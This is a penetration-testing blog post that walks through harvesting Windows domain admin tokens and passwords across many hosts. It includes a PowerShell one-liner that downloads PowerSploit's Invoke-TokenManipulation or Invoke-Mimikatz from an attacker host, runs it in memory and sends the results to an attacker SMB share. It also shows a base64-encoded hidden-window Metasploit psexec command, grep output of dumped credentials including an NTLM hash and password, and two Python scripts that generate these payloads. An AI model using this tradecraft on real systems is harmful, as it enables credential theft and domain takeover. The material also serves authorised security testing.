Archive for January, 2015

Account Hunting for Invoke-TokenManipulation

I’ve been searching quite a while now for the best way to search for domain admin tokens, once admin rights are attained on a large number of systems during a pentest. Normally, I run “psexec_loggedin_users” within Metasploit, spool the output to a file, then egrep it for users in the “Domain Admins” group. This often works, but can easily miss systems that have a domain admin kerberos security token still loaded in memory. There are a couple of “Token_Hunter” post modules, but you need to have a shell on the systems to run them, which can take a long time to establish, load incognito, and list tokens. As much as I love shellz, I certainly don’t care to have a couple thousand of them connecting back to my machine. So, I think I’ve finally pieced together a viable method from a couple of articles posted around the Internet.

The first article is from Chris Campbell posted on PentestGeek. It shows us how to download and execute a PowerSploit module using PowerShell, all in memory. A couple of posts have described utilizing this method with Invoke-Mimikatz.ps1, so why not Invoke-TokenManipulation.ps1? For reference: Carnal0wnageHarmJoy

To setup the environment, I first downloaded PowerSploit to my apache directory:

cd /var/www/
git clone https://github.com/mattifestation/PowerSploit.git

Then configured Samba with an open share to capture the output files:

nano /etc/samba/smb.conf
[loot$]
comment = Loot
path = /root/loot
browseable = yes
read only = no
guest ok = yes
public = yes

Then create the folder and grant full permissions. I created a folder named “tokens” under “loot”.

Then, I stole the “PowerShell encoding” section from David Kennedy’s “unicorn” script to encode the following string:

IEX (New-Object Net.WebClient).DownloadString(“http://<attacker_ip>/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1");Invoke-TokenManipulation -Enumerate |Out-File -Encoding "UTF8" -FilePath \\<attacker_ip>\loot$\tokens\$env:computername.txt

This will download “Invoke-TokenManipulation.ps1” from my web host, execute it within memory to enumerate tokens, and pipe the output to my SMB share into a file named as the computer.

Now, I just use the “psexec_command” module within Metasploit to execute my encoded string on all systems and rain down tokens into my share.

msf auxiliary(psexec_command) > info

       Name: Microsoft Windows Authenticated Administration Utility
     Module: auxiliary/admin/smb/psexec_command
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Royce Davis @R3dy__ <rdavis@accuvant.com>

Basic options:
  Name                  Current Setting  Required  Description
  ----                  ---------------  --------  -----------
  COMMAND                                yes       The command you want to execute on the remote host
  RHOSTS                192.168.81.10    yes       The target address range or CIDR identifier
  RPORT                 445              yes       The Target port
  SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                   no        The service display name
  SERVICE_NAME                           no        The service name
  SMBDomain             pwnt.com         no        The Windows domain to use for authentication
  SMBPass               GoatBah1!        no        The password for the specified username
  SMBSHARE              C$               yes       The name of a writeable share on the server
  SMBUser               TrustedSec       no        The username to authenticate as
  THREADS               255              yes       The number of concurrent threads
  WINPATH               WINDOWS          yes       The name of the remote Windows directory

Description:
  This module uses a valid administrator username and password to 
  execute an arbitrary command on one or more hosts, using a similar 
  technique than the "psexec" utility provided by SysInternals. Daisy 
  chaining commands with '&' does not work and users shouldn't try it. 
  This module is useful because it doesn't need to upload any binaries 
  to the target machine.

References:
  http://cvedetails.com/cve/1999-0504/
  http://www.osvdb.org/3106
  http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access
  http://sourceforge.net/projects/smbexec/
  http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

msf auxiliary(psexec_command) > set command powershell -nop -win hidden -noni -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADgAMQAuADIAMQA5AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8ARQB4AGYAaQBsAHQAcgBhAHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAuAHAAcwAxACIAKQA7AEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwAgAHwATwB1AHQALQBGAGkAbABlACAALQBFAG4AYwBvAGQAaQBuAGcAIAAiAFUAVABGADgAIgAgAC0ARgBpAGwAZQBQAGEAdABoACAAXABcADEAOQAyAC4AMQA2ADgALgA4ADEALgAyADEAOQBcAGwAbwBvAHQAJABcAHAAYQBzAHMAdwBvAHIAZABzAFwAJABlAG4AdgA6AGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlAC4AdAB4AHQA
command => powershell -nop -win hidden -noni -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADgAMQAuADIAMQA5AC8AUABvAHcAZQByAFMAcABsAG8AaQB0AC8ARQB4AGYAaQBsAHQAcgBhAHQAaQBvAG4ALwBJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAuAHAAcwAxACIAKQA7AEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwAgAHwATwB1AHQALQBGAGkAbABlACAALQBFAG4AYwBvAGQAaQBuAGcAIAAiAFUAVABGADgAIgAgAC0ARgBpAGwAZQBQAGEAdABoACAAXABcADEAOQAyAC4AMQA2ADgALgA4ADEALgAyADEAOQBcAGwAbwBvAHQAJABcAHAAYQBzAHMAdwBvAHIAZABzAFwAJABlAG4AdgA6AGMAbwBtAHAAdQB0AGUAcgBuAGEAbQBlAC4AdAB4AHQA
msf auxiliary(psexec_command) > run

[*] 192.168.81.10:445 - Executing the command...
[+] 192.168.81.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] checking if the file is unlocked
[*] 192.168.81.10:445 - Unable to get handle: The server responded with error: STATUS_SHARING_VIOLATION (Command=45 WordCount=0)
[-] Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.81.10:445 - Getting the command output...
[*] 192.168.81.10:445 - Command finished with no output
[*] 192.168.81.10:445 - Executing cleanup...
[-] 192.168.81.10:445 - Unable to cleanup \WINDOWS\Temp\GkdedgMwXOVyHble.txt. Error: The server responded with error: STATUS_SHARING_VIOLATION (Command=6 WordCount=0)
[-] 192.168.81.10:445 - Unable to cleanup. Maybe you'll need to manually remove true, false from the target.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Then, just egrep the files to enumerate any domain admins.

root@trustedsec4-lin:~/loot/tokens# egrep -i 'trustedsec|admin' * /dev/null
PWNT-DC.txt:Username : TrustedSec

All that’s left is to pop a shell on that system, impersonate their token, and escalate privileges on the domain.

The “encoding” script was easily modified for Mimikatz as well (it writes to “loot$/passwords/”). To grep the file for a specific user’s password:

root@trustedsec4-lin:~/loot/passwords# grep -A 2 TrustedSec * /dev/null
PWNT-DC.txt:User Name : TrustedSec
PWNT-DC.txt-Domain : PWNT
PWNT-DC.txt-SID : S-1-5-21-1458926743-1222556689-571800001-1000
--
PWNT-DC.txt:
* Username : TrustedSec
PWNT-DC.txt-
* Domain : PWNT
PWNT-DC.txt-
* NTLM : 918d38906649503fde8a641dbd87d857
--
PWNT-DC.txt:
* Username : TrustedSec
PWNT-DC.txt-
* Domain : PWNT
PWNT-DC.txt-
* Password : GoatBah1!

Full script source provided below. Happy Hunting!

TokenHunter.py

#!/usr/bin/env python

# This download "Invoke-TokenManipulation.ps1" from the attacker's webhost,
# then execute the script in memory and pipe its output ot the attacker's SMB share
# "\\loot$\tokens\".
#
# Formulated mainly from the following articles/tools
# https://www.pentestgeek.com/2013/09/18/invoke-shellcode/
# http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html
# http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/
# https://github.com/trustedsec/unicorn
#
# Script Dependency
# https://github.com/mattifestation/PowerSploit/tree/master/Exfiltration
#
# TrustedSec

import base64

attacker_ip = "<put your IP here>"

# Main guts
def main():
  powershell_code = "IEX (New-Object Net.WebClient).DownloadString(\"http://" + attacker_ip + "/PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1\");Invoke-TokenManipulation -Enumerate |Out-File -Encoding \"UTF8\" -FilePath \\\\" + attacker_ip + "\\loot$\\tokens\\$env:computername.txt"
  full_attack = "powershell -nop -win hidden -noni -enc " + base64.b64encode(powershell_code.encode('utf_16_le'))  
  print full_attack

# Standard boilerplate to call the main() function
if __name__ == '__main__':
  main()

PasswordHunter.py

#!/usr/bin/env python

# This download "Invoke-Mimikatz.ps1" from the attacker's webhost,
# then execute the script in memory and pipe its output ot the attacker's SMB share
# "\\loot$\passwords\".
#
# Formulated mainly from the following articles/tools
# https://www.pentestgeek.com/2013/09/18/invoke-shellcode/
# http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-passwords-with.html
# http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/
# https://github.com/trustedsec/unicorn
#
# TrustedSec

import base64

attacker_ip = "<put your IP here>"

# Main guts
def main():
  powershell_code = "IEX (New-Object Net.WebClient).DownloadString(\"http://" + attacker_ip + "/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1\");Invoke-Mimikatz -DumpCreds |Out-File -Encoding \"UTF8\" -FilePath \\\\" + attacker_ip + "\\loot$\\passwords\\$env:computername.txt"
  full_attack = "powershell -nop -win hidden -noni -enc " + base64.b64encode(powershell_code.encode('utf_16_le'))  
  print full_attack

# Standard boilerplate to call the main() function
if __name__ == '__main__':
  main()

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